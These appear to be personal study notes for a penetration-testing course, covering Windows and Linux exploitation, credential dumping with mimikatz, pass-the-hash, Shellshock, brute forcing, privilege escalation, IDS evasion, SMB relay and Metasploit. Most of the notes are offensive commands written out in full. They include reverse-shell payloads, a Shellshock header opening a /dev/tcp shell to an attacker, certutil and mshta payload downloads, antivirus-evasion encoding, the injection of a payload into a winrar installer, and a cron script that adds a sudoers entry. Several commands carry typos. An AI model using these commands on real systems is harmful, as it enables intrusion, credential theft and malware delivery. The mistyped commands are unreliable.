When a user account is created the password is encrypted by MD4 hashing and original password disposed of.

NTLM improvements

Does not split the hash into two smaller chunks

Case sensitive

Allows the use of symbols and Unicode characters

Passw0rd!? > MD4 > c46b9e588fa0d112de6f59fd6d58eae3 (NTLM hash)

Finding passwords in windows configuration files

A common task for a sysadmin is to create an unattended setup utility

If the admin leaves the config file behind then an attacker can find it

C:\Windows\Panther\Unattend.xml

C:\Windows\Panther\Autounattend.xml

Create a payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=k.k.k.k LPORT=1234 > payload.exe

Start simple web server to host the file

python -m SimpleHTTPServer 80

Certutil can be use to download a file like wget but i nice way to hide what we are doing

certutil -urlcache -f http://k.k.k.k:80 payload.exe

Start you handler

use multi/handler/

set payload windows/x64/meterpreter/reverse_tcp

set LPORT 1234

set LHOST k.k.k.k

run

execute the payload on the target system

Now we should have our meterpreter session

search -f Unattend.xml

cd Windows

cd Panther

download Unattend.xml

cat Unattend.xml

We might the password in <Password>xxxxxxxx</Password>

Usually encoded in base64

Copy that

echo xxxxxx > pw.txt

base64 -d pw.txt

The admin may have changed password since but often does not.

psexec.py Administrator@t.t.t.t

Password: xxxxxxx

whoami

PowerSploit

script to look for these kind of creds left in files

powershell -ep bypass (PowerShell execution policy bypass)

. .\PowerUp.ps1

Invoke-PrivescAudit

cat C:\Windows\Panther\Unattend.xml

Decode base64 in windows powershell

$password='QWRtaW5AMTIz'

$password=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($pa

ssword))

echo $password

Test your new creds

runas.exe /user:administrator cmd

Now you can deliver a payload with the new creds

Another tool to download a file

mshta.exe http://10.10.31.2:80/payload.hta

Dumping hashes with mimikatz

Mimikatz is windows post exploitation tools used to extract

passwords

hashses

kerberos tickets

It can get them out of the lsass.exe

There is a meterpreter module called kiwi that runs in memory

You need elevated privs to run it

Lets say we already have meteepter session with elevated privs

So we got access, and esclated privs already to NT AUTHORITY\SYSTEM

meterpreter>

load kiwi

creds_all

lsa_dump_sam

WE get Syskey, SAMkey and NTLM hash

lsa_dump_secrets

Sometimes you will get something useful here

You can list kerberos tickets and create golden Kerberos ticket.

If the user's password is weak we can crack the hash and get the password.

However if we can't crack we can still use the hash in pass the hash type attacks

Mimikatz with the executable

meterpreter>

upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe

shell

.\mimikatz.exe

privilege::debug

20 ok is good

lsadump::sam

More info than the kiwi module

lsadump::secrets

Pass the hash attacks

Use the hash to authenticate via SMB etc.

Tools for pass the hash

Metasploit PsExec module

Crackmapexec

evil-winrm

Assuming we have meterpreter session

meterpreter> pgrep lsass

migrate 780

getuid

Now we have NT AUTHORITY\SYSTEM privs

Load the mimikatz module

load kiwi

Dump the hashes

lsa_dump_sam

record the hashes found

username:hash

admin:0ccd8kjld089712415ee32

Need the LM hash for this psexec attack

meterpreter> hashdump

msfconsole> use exploit/windows/smb/psexec

info

set LPORT 4442

set RHOSTS t.t.t.t

set SMBUser Administrator

set SMBPass [LM hash here] xxxxxxxxxxxxx:yyyyyyyyyyyyyyy

run

We should get meterpreter> session

set target command

run

set target Native\ upload

crackmapexec smb t.t.t.t -u admin -H "[NTLM hash]"

Notice this one uses NTLM hash instead of LM hash

Frequently exploited linux services

Linux is free and open source

Because of this there are many differnt distros from specific use cases like kali to general like ubuntu and mint etc.

Most servers we will find will be running linux.

Apache and nginx TCP 80/443 are the common web servers
SSH TCP 22 is the common remote access tool
FTP TCP 21 is often found but should be moved to SFTP
SAMBA TCP 445 (similar to SMB on windows)

Exploiting bash CVE-2014-6271 (Shellshock)

This one affected bash/apache and gave the attacker a reverse shell

Not common any more but good to know about.

BASH is the default shell for most linux distros. The CLI.

BASH had an issue where it was executing commands after a series of special characters.

Common gateway interface (CGI) scripts can run something on the server (like get the time/date) and then display it on the webpage. So the attacker just needed to find an apache web server that was running CGI script. They could craft a HTTP header with the normal command, then the special characters and then the payload.

Lab testing

nmap -sV -p80,443 t.t.t.t

Lets say we see apache web server running

If we inspect the source code of .cgi scripts we can see one "gettime.cgi"

nmap -sV t.t.t.t --script=http-shellshock --script-args "http-shellshock.uri=/gettime.cgi"

The script tells us if it is vulnerable

Burp suite is a proxy where we can observe traffic and make changes to headers etc

Config your browser to use the burpsuite proxy

Kali > Web application analysis > Burpsuite

Repeater tab

Replace the user agent with the special characters followed by the command you want to run

() {:;}: echo; echo; /bin/bash -c 'cat /etc/passwd'

Click the send button. Burp will display a list of all the passwords.

Setup a listener on attacker machine

nc -nvplp 1234

Replace our command with a payload

() {:;}: echo; echo; /bin/bash -c 'bash -i>&/dev/tcp/x.x.x.x/1234 0>&1'

Launch bash and redirect the output out to the TCP connection

Check your handler we should have a reverse bash shell.

Metasploit

sevice postgresql start

msfconsole

search shellshock

use exploit/multi/http/apache_mod_cgi_bash_env_exec

info

set RHOST t.t.t.t

set RPORT 80

set TARGETURI /gettime.cgi

run

We should get a meterpreter shell

sysinfo

getuid

getsystem

Nessus

Vulnerability scanner made by tenable

We can import the data into metasploit

Nessus essentials is free and allows up to 16 IPs to be scanned

chmod +m nessus.deb

sudo dpkg -i nessus.deb

sudo systemctl start nessusd.service

sudo systemctl status nessusd.service

https://localhost:8443

run scan

export nessus (.nessus) file

start msfconsole

workspace -a NESSUS

db_import /home/kali/downloads/nessus.xml

hosts

services

vulns

Search by port/service

vulns -p 445

vulns -p 443

vulns -p 80

Search by CVE year and service

search cve:2017 name: smb

Search by microsoft number

search MS12-020

WMAP

Web app scanner, can be used to automate web server enumeration and is a Metasploit plugin that we can load and use.

service postgresql start

msfconsole

workspace -a scanning

setg RHOST t.t.t.t

setg RHOSTS t.t.t.t

load wmap

wmap_ (press tab)

wmap_sites -h (for help)

wmap_sites -a t.t.t.t

Setup new target

wmap_targets -t http://t.t.t.t/

wmap_sites -l (list sites)

wmap_targets -l (list targets)

Uses the namp modules

wmap_run -h (help)

wmap_run -t (see what modules can be run against our target)

wmap_run -e (Run those modules)

The output will come out

We will see the http server version

Looking out for the HTTP methods available over time, GET,HEAD, PUT and POST

auxiliary/scanner/http/http_put can be used to upload a file

attacker would try upload a web shell, then browse to that file to execute it and get the reverse shell

curl http://t.t.t.t:80/test_file.txt

exploiting FTP on Linux

FTP requires authentication

Sometimes they are configured for anonymous login

There are lots of FTP versions which can be checked for vulnerabilities in the usual way

After that we are looking at a brute force

Look for nmap scripts

ls -al /usr/share/nmap/scrripts/ | grep ftp-*

Brute force with hydra

hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/metasploit-framework/data/wordlists/unix_passwords.txt 192.168.1.100 -t 4 ftp

ftp 192.168.1.100 admin BadPW

dir

get flag.txt

Exploiting SSH

SSH is the main remote access / CLI. Remote shell. Probably on 90% of linux servers. Often running on TCP port 22.

Authentication can be

local username and password (weakest)

RADIUS / MFA (better than above, adding MFA makes it stronger)

Key based auth using certificates (private key) Attacker would need to get a private key, not impossible.

Nmap

nmap -sV 192.168.1.100

Brute force with hydra

hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt -t 4 ssh

ssh admin@192.168.1.100

BadPW

whoami

groups admin

uname -r

cat /etc/passwd

Metasploit

use auxiliary/scanner/ssh/ssh_login

set RHOSTS t.t.t.t

set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt

set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt

set STOP_ON_SUCCESS true

set VERBOSE true

exploit

sessions

sessions -i 1

find / -name "flag"

cat /flag

Exploiting SAMBA on linux

SMB used to share files

It won't be too common to find but when we do have a level of access it can be a good way to

extract files/data etc. Always good to have another thing to check.

Brute force can be done with hydra

nmap -sV 192.168.1.100

hydra -l admin -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

smbmap -H 192.168.1.100 -u admin -p BadPW

smbclient -L 192.168.1.100 -U admin

smbclient //192.168.1.100/share1 -U admin

dir

get flag.txt

tar xzf flag.tar.gz

Enumerate all info

enum4linux -a 192.168.1.100

Get more with credentials

enum4linux -a -u admin -p BadPW 192.168.1.100

Linux Kernel Exploits

linux-exploit-suggester

Same issues you can cause kernel panics / crashes.

www-data

is a user account that is un privileged

/tmp is the temp directory

from a meterpreter shell

upload the script

./les.sh

it will enumerate kernel exploits available

The kernel version is important

you may need to compile c code with gcc

sudo apt-get install gcc

gcc -pthread payload.c - o payload -lcrypt

upload payload

chmod +x payload

./payload PW123

If it works it will create a privileged user

WE can ssh into the server

cat /etc/passwd

cat /etc/shadow

Linux exploiting cron jobs

cron is the task scheduler in Linux

cron jobs can be scheduled to run on a defined schedule like a weekly backup

the crontab file is the file used to create/store cron jobs

cron jobs can be run by any user

cron jobs running at the root user are what we are interested in. For example let's say root is running a script but we have access to the script, we can add our commands to the script and wait for it to be executed with root privileges.

whoami

groups user

cat /etc/passwd

crontab -l

check permissions on file

ls -lash

cat roots-file

Look if there is any scripts with this file

grep -rn /usr -e "/home/user/roots-file"

chmod

printf '#!/bin/bash\necho "stundent ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy/sh

sudo -l

Exploiting SUID binaries

Set owner user ID. Linux has its normal file permissions chmod +755. There is also a special permission for specific situations which can allow a normal user to run a binary or script with the permissions of the owner instead of the normal user running the script. The legimate uses would let a normal user run something that needs root priv without making them a root users.

Attackers can try to exploit this to gain an elevated session if there is a vulnerability etc.

The sudo binary allows users to execute commands as the root user. The users need to be in the sudoers file but the sudo binary is owned by the root user.

We only want SUID binary's that have root rights and we have rights to execute them.

Starting on a linux system

whoami

groups student

ls - lash

If we see the s permission that is the SUID permission

file welcome (get details on the file)

Look for missing shared objects, fill in your own malicious payload to gain a root shell

strings welcome

we can see the binaries

cp /bin/bash greetings

./welcome

whoami

cat /etc/shadow

Dumping linux password hashes

Multiple users can log in at the same time.

All the users are in here /etc/passwd

Anyone can read this file

The shadow file has the password hashes but only root can access the hashed passwords

Prefix

$1 is MD5 (old)

$2 Blowfish (old)

$5 SHA-256

$6 SHA-512 (more modern systems)

Dump the hashes, lets say we already have root access

switch to a bash session

/bin/bash -i

Upgrade to meterpreter

sessions -u 1

Dump

cat /etc/shadow

search hashdump

use post/linux/gather/hashdump

set session 2

run

Dumps the hashes "unshadowed" so they are ready for cracking

scan target

nmap -sS -sV t.t.t.t

script to find vuln on FTP port

nmap --script vuln -p 21 t.t.t.t

Start msfconsole

/etc/init.d/postgresql start

msfconsole -q

search proFTPD

use exploit/unix/ftp/proftpd_133c_backdoor

set payload payload/cmd/unix/reverse

set RHOSTS t.t.t.t

set LHOST s.s.s.s

exploit -z

Dump hashes

use post/linux/gather/hashdump

set SESSION 1

exploit

Crash the hash

use auxiliary/analyze/crack_linux

set SHA512 true

run

Host & Network Penetration Testing: Network-Based Attacks

Network fundamentals recap

Packets are streams of bits running as electrical signals on the physical media (Ethernet/wifi).
Electrical signals travel on the Ethernet cable.
The NIC converts these signals into bits (1's and 0's).
The bits are grouped into Ethernet frames by the NIC driver.
Wireshark will organise the raw binary into hex code because AC is easier for humans to read than 10101100. Each letter in HEX is 4 bits.
The NIC and OS work with binary data.
The is some sharing of responsibilities between the NIC and OS
The OS extracts and processes the packets from these frames.
The frame will contain a payload, this is the data being sent.
The data is handed off to the relevant application to be used (like a browser or a file download).
This process happens incredibly fast—often in milliseconds or less—allowing for real-time communication over networks.

Frame (layer 2 data unit)

Preamble (to mark the frame so the NIC can spot it) 8 bytes
Destination MAC 6 bytes
Source MAC 6 bytes
Ether type 2 bytes
Payload (data) 46-1500 bytes
FCS (Frame Check sequence) error checking

The frame contains the header and the payload. The frame payload is usually an IP packet.

Packet (layer 3 data unit)

IP header - contains src/dst/ IP, TTL etc (20-60 bytes)
Payload (data)

The IP packet contains a payload as well. The IP payload is usually TCP/UDP.

Headers

There are headers at different layers:

Ethernet Header (Data Link Layer): Contains MAC addresses and type/length field.
IP Header (Network Layer): Contains source and destination IP addresses.
TCP/UDP Header (Transport Layer): Contains port numbers and sequence numbers.

Payloads:

There are payloads at different layers. You will also hear the term payload used for malicious code that is delivered by malware/exploits

Ethernet frame payload: An IP packet
IP packet payload: A TCP segment
TCP segment payload: Application data (e.g., part of a web page or file

The OSI Model

Each layer relies on the other layers.

7 - Application (HTTP, FTP, IRC, SSH)

6 - Presentation (SSL/TLS, JPEG, GIF, SSH, IMAP) translates data between app layer and lower layers. The OS makes the payload data into a jpeg file for example.

5 - Session (APIs netBIOS, RPC) manages sessions, token control
4 - Transport (TCP / UDP)
3 - Network - (IP, ICMP, IPsec) logical addressing and routing
2 - Data link - error detection, framing Ethernet
1 - Physical - ethernet cables 1's and 0's

Keep in mind OSI is a refernece model, TCP/IP is what is used in the real world.

Firewall detection and IDS evasion

Detecting firewalls

nmap -sA (ack scan)

nmap -sn x.x.x.x

nmap -Pn - sS - F x.x.x.x

Look out for "closed" ports vs "filtered"

nmap -Pn -sA -p 445,3389 x.x.x.x

If there is no firewall we will see the state "unfiltered".

If there is a firewall we will see "filtered"

Fragmentation

To evade IDS we can slow down our scans and we can fragment packets

No evasion here:

-F is the fast profile

-f is for fragmentation

nmap -Pn -sS -sV -F t.t.t.t

In wireshark we will see the syn's clearly.

Let's try fragmentation

-F is the fast profile

-f is for fragmentation

nmap -Pn -sS -sV -p 445,3389 -f t.t.t.t

Now in wireshark we will see the packets will be fragmented. This can confuse/evade IDS and any network admin looking at packets.

We can config an MTU

nmap -Pn -sS -sV -p 445,3389 -f --mtu 32 t.t.t.t

We didn't see any fragmentation because we set low MTU. Try a different value 8 (minimum)

nmap -Pn -sS -sV -p 445,3389 -f --mtu 8 t.t.t.t

IP Spoofing

Lets pretend to come from the gateway 192.168.1.1 or 192.168.1.254

nmap

don't ping (-Pn)

syn scan (-sS)

service version detection (-sV)

fragmentation (-f)

data length (--data-length 200)

decoy IP (-D)

nmap -Pn -sS -sV -p 445,3389 -f --data-length 200 -D 192.168.1.1 t.t.t.t

We can use multiple decoy IP's

-D 192.168.1.1,192.168.1.254

Now we will see fragmentation and spoofing in wireshark to further confuse/evade IDS.

We can also change the source port to make it appear like 53 (DNS) responses

-g 53

Netbios

Initial scan looking for open ports

nmap target.domain.com

We see 139 and 445 open

nmap -sV -p 139,445 target.domain.com

Running nmap scripts

nmap -p 445 --script smb-protocols target.domain.com

nmap -p445 --script smb-security-mode target.domain.com

Try to list the shares

smbclient -L target.domain.com

Enum SMB users

nmap -p445 --script smb-enum-users.nse target.domain.com

We find 4 users

admin, administrator, root, and guest

Create a users.txt file with these users inside

Try brute force with hydra

-L list of users

-P password file

hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target.domain.com smb

We are returned the passwords for some of the users. Lets user administrator.

Metasploit

msfconsole -q

use exploit/windows/smb/psexec

options

set RHOSTS demo.ine.local

set SMBUser administrator

set SMBPass password1

run

We can reach target1 from target

run autoroute -s 172.30.19.0/24

Setup socks proxy

background

use auxiliary/server/socks_proxy

show options

set SRVPORT 9050

set VERSION 4a

exploit

jobs

Proxy chains

proxychains nmap target1.domain.com -sT -Pn -sV -p 445

-sT : TCP connect scan

-Pn : Skip host discovery and force port scan.

-sV : Probe open ports to determine service/version info

-p 445 : Define port to scan

CTRL + C

migrate -N explorer.exe

shell

net view 10.0.22.69

SNMP enum

SNMP used to manage/monitor devices. We can use this as penetration testers.

SNMP listens on UDP 161

SNMP traps are sent on UDP 162

Scan for open SNMP port 161

Try default and weak strings

collect information

nmap scan for udp port

nmap -sU -p 161 t.t.t.t

Look for nmap scripts

ls -al /usr/share/nmap/scripts | grep -e "snmp"

Runnung nmap script

nmap -sU -p 161 --script=snmp-brute t.t.t.t

snmpwalk

We will try the public string "public" as this is the default

snmpwalk -v 1 -c public t.t.t.t

Run all scripts and dump the output to a file

nmap -sU -p 161 --script=snmp-* t.t.t.t > snmp_info

We can cat / grep this file later

We can get lots of information here like a list of users. We can use that to build a brute force.

Basic ping and nmap

ping target.domain.com

nmap target.domain.com

Checking for SNMP

nmap -sU -p 161 target.domain.com

nmap -sU -p 161 --script=snmp-brute target.domain.com

snmpwalk

snmpwalk -v 1 -c public target.domain.com

Run all scripts and dump info

nmap -sU -p 161 --script snmp-* target.domain.com > snmp_output

We find usersnames in this info, make a user file

echo administrator,admin > users.txt

Brute force with hydra

hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target.domain.com smb

Get a shell with metasploit and a username and password combo we have found

msfconsole -q

use exploit/windows/smb/psexec

show options

set RHOSTS target.domain.com

set SMBUSER administrator

set SMBPASS elizabeth

run

Switch to the windows shell

shell

cd C:\

dir

type FLAG1.txt

SMB relay attack

Man in the middle attack. We sit in the middle of the server and the client and we replay data to try trick one party into thinking we are the other to try gain some info or access.

Intercept (setup MITM server, can use ARP or DNS spoofing)
Manipulate (capture clients NTLM hashes)
Replay (replay the hash to impersonate that user)
Gain access (get that users access, could lead to lateral movement)

Network placement

You need an attack machine on the LAN between client and server

Client < attacker > SMB server

Metrasplot smb relay module

msfconsole

search smb_relay

use exploit/windows/smb/smb_relay

options

set SRVHOST a.a.a.a (ip of your kali machine)

set LHOST a.a.a.a (ip of your kali machine)

set SMBHOST t.t.t.t (set IP of target)

Configure dns spoofing with dnsspoof

Setup similar to a hosts file entry, we set our kali IP to any subdomin of the target domain

echo "a.a.a.a *.domain.com" > dns

Use that file with dnsspoof

dnsspoof -i eth1 -f dns (eth1 is where our kali machine IP is on LAN with target)

Enable arpspoof by echoing the value 1 into this file

echo 1 > /proc/sys/net/ipv4/ip_forward

Run the arpsoof in both directions
arpspoof -i eth1 -t c.c.c.c g.g.g.g

the IP of the target client followed by the gateway

open new tab and spoof in the other direction gateway and client

arpspoof -i eth1 -t g.g.g.g c.c.c.c

Run exploit

Back in your metasploit smb_relay module run it

run

jobs

wait a few minutes to intercept

if it works this module will automatically open a meterpreter session

sessions

session 1

getuid

The metasploit framework

Opensource frame work for penetration testing released in 2003.

Industry standard choice.

Its modular so new exploits can be added.

Nessus scans can be imported into Metasploit so you can go from Nessus scann into pentest on the same hosts.

Key Terms

Interface - msfconsole
Module - bits of code that perform a task. An example of a module is an exploit
Vulnerability - Weakness or flaw in computer system/network/software that can be exploited
Exploit - Code module that is used to take advantage of a vulnerability
Payload - Piece of code delivered to the target system by an exploit with the objective of executing arbitrary commands or providing remote access to the attacker. Usually the payload we want is a reverse shell.
Listener - A utility that listens for an incoming connection from a target

msfconsole

The primary cli interface

MSFcli - was discontinued in 2015. Was used for importing /exporting things

Metasploit community edition

Web based interface

Armitage

Free java based GUI front end for the Metasploit framework

MSF architecture

Libraries

Rex
MSF core
MSF base

Modules

Exploit (a way to execute something)
Payload (what we execute, often to give a reverse shell)
Encoder (encodes payloads to evade AV/IPS detections eg shikata_ga_nai.rb)
NOP (Ensures payload sizes are consistent and target OS is stable after)
Auxiliary (Any module that can't be paired with a payload, enumeration, scanners etc)

Interfaces

MSFconsole
MSFcli
Armitage
Web

Payload types

Non stages payloads - Send together as a whole with the exploit

Staged payloads - A staged payload is send to the target in 2 parts.

The first part (stager) contains a payload that is used to establish the reverse shell download the second part (stage) and execute it

Meterpreter payload

The meterpreter (meta-interpreter) playload is an advanced multifunctional payload that is executed in memory on the target system making it difficult to detect.

It communicates over a stager socker and provides an attacker with an interactive shell on the target system which can

execute commands
browse file system, read, download/upload files
keylogging and more

MSF main directory

/usr/share/metasploit-framework

Modules:

/usr/share/metasploit-framework/modules

User defined modules

In inside your users own home directory

/home/user/.ms4/modules

Auxiliary scanner modules

/usr/share/metasploit-framework/modules/auxiliary/scanner

Linux exploits

/usr/share/metasploit-framework/modules/exploits/linux

How to use MSF with pen testing

MSF automates and speeds up scanning and exploitation

PTES (penetration testing execution standard)

A standard created for penetration testing

Pen test phases and where metasplot fits in

Info gathering (aux modules)
Enumeration (aux modules / importing Nessus)
Exploitation (exploit and payload modules)
Post exploitation (meterpreter)
Persistent access (post exploitation modules)
Privilege escalation (post exploitation modules)
Lateral movement (post exploitation modules)
Clearing tracks

Install and config

Distributed by rapid7 but comes built into kali linux and parrot OS.

Update to latest:

Sudo apt-get update && sudo apt-get install metasploit-framework -y

Set up and check the DB

sudo systemctrl enable postgresql

sudo systemctrl start postgresq

sudo systemctrl staus postgresq

Initialize the DB (this will delete all data if you had any)

sudo msfdb

sudo msfdb init

sudo msfdb reinit

sudo msfdb status

Start metasploit

msfconsole

MSF console basics

We can set the target IP and port with some variables, we can set local and global so we don't have to keep setting the same IP/range over and over

LHOST - local host used with reverse shell

LPORT - local port where the reverse shell is listening

RHOST - target

RHOSTS - multiple target systems

RPORT - target port

Basic commands

help

version - shows the version

show all - shows all modules

show exploits - shows only exploits

show -h - shows options for the show commadn

search portscan - search for modules with portscan in their name

use auxiliary/scanner/portscan/tcp

show options (show info)

set RHOSTS 192.168.2.1

show options

back - takes us back out of that module

search -h

search cve:2017 type:exploit platform:windows

can be useful to look for recent exploits that may have a better chance to work

search eternalblue

we can use it by the number

use 0

"No playload configured ..." message. We may need to set the x86 or x64 payload etc. We can change the payload.

Run - run the module

Sessions - shows all session if you have several setup

connect 192.168.1.1:80 - will show a banner if we connect to a router etc

Workspaces

If you are working as a pen tester you may have multiple scans going on at the same time for multiple customers/targets.

Make sure db is ok

db_status

workspace -h

workspace - shows us the current work space

hosts - shows the hosts stored in here

Make a new one

workspace -a CUST2

hosts

workspace default

Delete a workspace when finished with it

workspace -d CUST2

Rename

workspace -r CUST2 CUST3

Info gathering and enumeration

nmap scans can be imported into metasploit

nmap -Pn x.x.x.x (just do the port scan, no ping as it will probably be blocked)

nmap -Pn -sV -O x.x.x.x (sV and O give us the service versions and operating system if we can get it from the banner)

export these results into xml which can be imported into metasploit

nmap -Pn -sV -O x.x.x.x -oX windows.xml

Importing the xml scan into

service PostgreSQL start

db_status

workspace -a Windows

db_import /root/windows.xml

hosts

services

Running nmap scan from inside Metasploit

workspace

workspace -a nmap_msf

db_nmap -Pn -sV -O t.t.t.t

hosts

services

vulns

Port scanning with auxiliary modules

Used for tasks that are no exploitation. Extracting information/scanning etc. These come in during post exploitation stage. We get a foothold on a PC inside the client network with an exploit. So we can then scan from there with auxiliary tools.

nmap/metasploit scan or phishing attack etc from outside

compromise LAN host with an exploit and make meterpreter reverse shell

Run auxiliary scans from the compromised LAN host

service postgresql start

msfconsole

db_status

workspace -a port_scan

search portscan

use /auxiliary/scanner/portscan/tcp (or use 5)

set RHOSTS t.t.t.t

run

We don't have a GUI browser so we can't look at the page directly in a web browser

we can use curl

curl t.t.t.t

this will download and display the HTML code which can give clues. We see "xoda" in the title

Search for and run exploits

search xoda

use exploit/unix/webapp/xoda_file_upload

info

set RHOSTS t.t.t.t

set TARGETURI / (setting to root of the web server)

run

We should get a reverse shell (meterpreter)

Setting up autoroute on the revere shell

meterpreter> sysinfo

meterpreter> shell

/bin/bash -i

$ ifconfig

We can see the IP addresses on the host

t.t.t.t (the IP where we got in)

x.x.x.x (LAN IP)

ctrl + C out

meterpreter> run autoroute -s 192.168.1.0/24 (IP subnet of the LAN)

meterpreter> background

sessions (list all active sessions)

Use the same scanning module but this time we run it on the inside host. This is autorouted by meterpreter

search portscan

use 5

set RHOSTS x.x.x.2 (the LAN target IP)

info

run

The initially exploited host is known as a pivot point where we can jump to other networks/hosts.

Client side attacks

Generating payloads with msfvenom

Get the client side to execute a malicious payload usually creating the reverse shell back to the attacker.

Send a phish email or trick a user into clicking a link or opening a pdf, maybe uploading to a web or FTP server etc. The end goal is to get the payload executed so we can get a reverse shell.

CLI utility used to generate and encode payloads. Its a combination of two older tools.

List all the types we can make

msfvenon --list payloads

os/32 or 64bit/what the payload will be/how to connect back

Staged (2 parts)

windows/x64/meterpreter/reverse_tcp

Non-staged (all in one):

windows/x64/meterpreter_reverse_http

Creating a payload

a.a.a.a = the attackers listener (usually kali) which needs to be setup before we run the payload

msfvenon -a x86 -p windows/meterpreter/reverse_tcp LHOST=a.a.a.a LPORT=1234 -f exe > /home/kali/Desktop/Windows_Payloads/payloadx86.exe

You can transfer this to the client PC or try send it via email etc.

msfvenon --list formats

list the different executables

linux

msfvenon -p linux/x86/meterpreter/reverse_tcp LHOST=a.a.a.a LPORT=1234 -f elf > /desktop/lpayloadx86

chmod +x lpayloadx86

Host the files on a simple http server

sudo python -m SimpleHTTPServer 80

setup list

use multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST a.a.a.a

set LPORT 1234

run

Now its listening

On the windows system

Browse to the http page

Download and execute the payload

This payload would likely be picked up by a AV so the payloads need to be encoded to evade

Vulnerability scanning with metasploit

Metasploitable is a windows VM that is setup to test vulnerability scans.

Start the DB

service postgresql start

Start metasploit

msfconsole

Check DB

db_status

Make a work space

workspace -a MS3

Set global variables

setg RHOSTS t.t.t.t

setg RHOST t.t.t.t

Run nmap from metasploit

db_nmap -sS -sV -O t.t.t.t

Commands to see what was found

hosts

services

Search for all exploits by name

search type: exploit name: Microsoft IIS

search type: exploit name: MySQL 5.5

search Sun Glassfish

We need vulns for the rights versions we found in our scan otherwise there is a high chance it won't work.

We found an exploit but it doesn't list the version. Lets get more detail.

use exploit/multi/http/glassfish_deployer

The info section will give more details

info

We can see here it should work on version 4 open source which matches what we have. Set the right options

set the payload (linux is default we are targeting windows)

set payload windows/meterpreter/reverse_tcp

Set the app rport

services (we can see its listening on port 8080

set APP_RPORT 8080

set RHOST (done by global variable).

Let's try use searchsploit which will search

searchsploit "Microsoft Windows SMB" | grep \e "Metasploit"

metasploit-autopwn

This is a plugin available on git which will check your db

Download from git

cd Downloads

wget https://x.x.x.x

Move into plugins directory

sudo mv db_autopwn.rb /usr/share/metasploit-framework/plugins

Go back to msfconsole and load the plugin

load db_autopwn

db_autopwn (to see useage)

Run it

db_autopwn -p -t

-p select modules based on open ports

-t show all matching exploit modules

This will show all exploits for port 80 etc but we want more targeted

Limit it to open port 445

db_autopwn -p -t -PI 445

analyze command will check for exploits

analyze

vulns command will show us vulnerabilities found

vuls

Client side attacks

Generating payloads with msfvenon

Encoding payloads with msfvencom

We want to encode our payloads so we can avoid AV's

The first step we do is run in memory so our files never reach the hard drive

However we need to encode our payload so our payload file can evade AV

Changing 1 byte in the file will break the AV's companies signature

Meterpreter is shell code.

In Kali

msfvensom --list encoders

Best ones for us

cmd/powershell_base64 (power encoding powershell in base64)

x86/shikata_ga_nai (Polymorphic XOR additive feedback encoder)

x86 will work on 32 and 64 bit

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe > /home/kali/Desktop/encoded.exe

cd Windows_Payloads/

We can encode it more than ones, the more times we encode the better our chance of evading AV

-i 10

--iterations 10

We can pick 10 as usually after 10 its diminishing returns

Let's do the same with our linux meterpreter

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f elf > /home/kali/Desktop/encoded.exe

elf file for linux

Copy your new encoded file to the target and get it executed on the target. There are various methods to trick the users or use an exploit.

Below we host it on a simple web server

cd Windows_Payload

sudo python -m SimpleHTTPServer 80

Setup handler

msfconsole

use multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 10.10.10.5

set LPORT 1234

show info

run

Run the encoded.exe on the target windows system

We don't see anything happen on the windows system but it will connect a meterpreter session in the background

Injecting payloads into windows portable executables

So lets get a legit portable exe and inject our payload. You can try/choose whatever you like. One that is known to work well is winrar exe.

Download the 32bit setup file

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe -x /downloads/winrar602.exe > desktop/winrar-injected.exe

-i iterations (number of times to encode)

-e encoding to use

-x the exe to inject into

> where to output the injected file

-k keep the functionality of the original file so winrar will keep working and create our remote shell. However this won't work for most portable exes out there. AV's are better at detecting this.

Setup your handler

Get the "winrar-injected.exe" the target machine:

After we get the remote shell migrate.

This is incase winrar-injected is ended later on.

run post/windows/manage/migrate (migrates into notepad.exe)

Automating metasploit with resource scripts

Resource scripts can automate reparative commands like setting up a handler for payloads etc.

Resource scripts work very similar to .bat files

Just put in the commands we want to run like check the DB connection etc

Built in scripts can be found here

ls -al /usr/share/metasploit-framework/scripts/resource

vim handler.rc

use multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 10.10.10.5

set LPORT 1234

show info

run

:wq!

msfconsole -r handler.rc

vim db_status.rc

db_status

workspace

workspace -a TEST

:wq!

When already in msfconsole we can call a script

resource /Desktop/handler.rc

We can make an RC from some commands we just run

makerc /home/kali/Desktop/test.rc

Exploiting HTTP file server

HFS (http file server) usually running on port 80 and give a simple list of files that can be downloaded. Our goal as attacker is to get a file uploaded and executed giving us a remote shell.

Rejetto HFS is a popular open source HFS.

service postgresql start

msfconsole

db_status

workspace -a HFS

setg RHOSTS t.t.t.t

db_nmap -sS -sV -O t.t.t.t

Lets say we see Rejetto v2.3 is running on port 890

search type:exploit name:rejetto

use exploit/windows/http/rejetto_hfs_exec

*** Don't forget your can set your payload if needed ***

run

MS17-101 Eternal Blue

Affects SMBv1

msfconsole

workspace -a EB

db_nmap -sS -sV -O t.t.t.t

search type:auxiliary EternalBlue

use auxiliary/scanner/sb/smb_ms17_010

show info

set RHOSTS 10.10.10.7

run

Will tell us if the target is vulnerable

search type:exploit EternalBlue

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS t.t.t.t

run

sysinfo

getuid (we get NT AUTHORITY\SYSTEM)

Exploiting WinRM

Runs on ports 5985 and 5986

WinRM is windows remote management protocol. Intended to be used by legitimate administrators to admin their systems. Can remotely access, run commands etc.

msfconsole

workspace -a WRM

db_nmap -sS -sV -p- -O t.t.t.t

